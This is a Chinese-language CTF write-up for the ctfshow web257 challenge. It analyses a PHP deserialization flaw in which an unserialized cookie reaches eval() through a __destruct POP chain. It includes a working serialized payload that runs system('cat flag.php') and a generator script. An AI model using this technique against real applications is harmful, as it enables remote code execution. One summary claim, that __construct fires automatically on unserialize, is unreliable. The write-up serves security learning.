ctfshow-web257 PHP 反序列化漏洞分析与 Payload 构造

二、具体题目分析

1. 源码分析

<?php
class ctfShowUser{
    private $username = 'xxxxxx';
    private $password = 'xxxxxx';
    private $isVip = false;
    private $class = 'info';

    public function __construct(){
        $this->class = new info();
    }

    public function login($u, $p){
        return $this->username === $u && $this->password === $p;
    }

    public function __destruct(){
        $this->class->getInfo();
    }
}

class info{
    private $user = 'xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username = $_GET['username'];
$password = $_GET['password'];
if (isset($username) && isset($password)) {
    $user = unserialize($_COOKIE['user']);
    $user->login($username, $password);
}
?>

关键点：

1. ctfShowUser 类中的 $class 属性为 private，反序列化时需使用 \0ctfShowUser\0class 作为键名。
2. __destruct 魔术方法会调用 $this->class->getInfo()。如果攻击者能将 $class 替换为 backDoor 对象实例，即可触发 eval。
3. unserialize 函数直接处理了用户可控的 Cookie 数据，且未限制 allowed_classes。

2. Payload 构造

由于需要调用 backDoor 类中的 getInfo 方法，我们需要构造一个 ctfShowUser 对象，并将其内部的 $class 属性指向一个 backDoor 对象。

Payload 结构如下：

O:11:"ctfShowUser":1:{s:18:"\0ctfShowUser\0class";O:8:"backDoor":1:{s:14:"\0backDoor\0code";s:23:"system('cat flag.php');";}}

注意：private 属性在序列化字符串中会被编码为 %00 (空字节)，URL 编码后需进行相应处理。

3. 自动化生成脚本

手动编写序列化字符串容易出错，建议使用 PHP 脚本自动生成：

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class = new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    private $code = "system('cat flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
echo urlencode(serialize(new ctfShowUser()));
?>

运行上述脚本可得到 URL 编码后的 Payload，将其填入 Cookie 的 user 字段中发送请求即可。

三、总结

通过本题，我们完整走了一遍 PHP 反序列化漏洞的学习路径。核心要点如下：

1. Private 属性并非绝对安全：在反序列化中，private 和 protected 均可被控制，区别仅在于序列化字符串中的命名规则（需包含类名或通配符）。
2. 魔术方法是触发点：只有 __construct、__destruct 等魔术方法会被自动调用，普通方法必须通过魔术方法调用的属性间接触发。
3. POP 链的本质：攻击者构造的是对象结构，程序按照既定逻辑（魔术方法 -> 属性调用 -> 危险函数）执行代码。
4. 工具辅助：使用 PHP 脚本生成 Payload 比手写更准确，能避免转义错误和长度计算问题。

掌握这些能力有助于解决绝大多数 PHP 反序列化类型的 CTF 题目。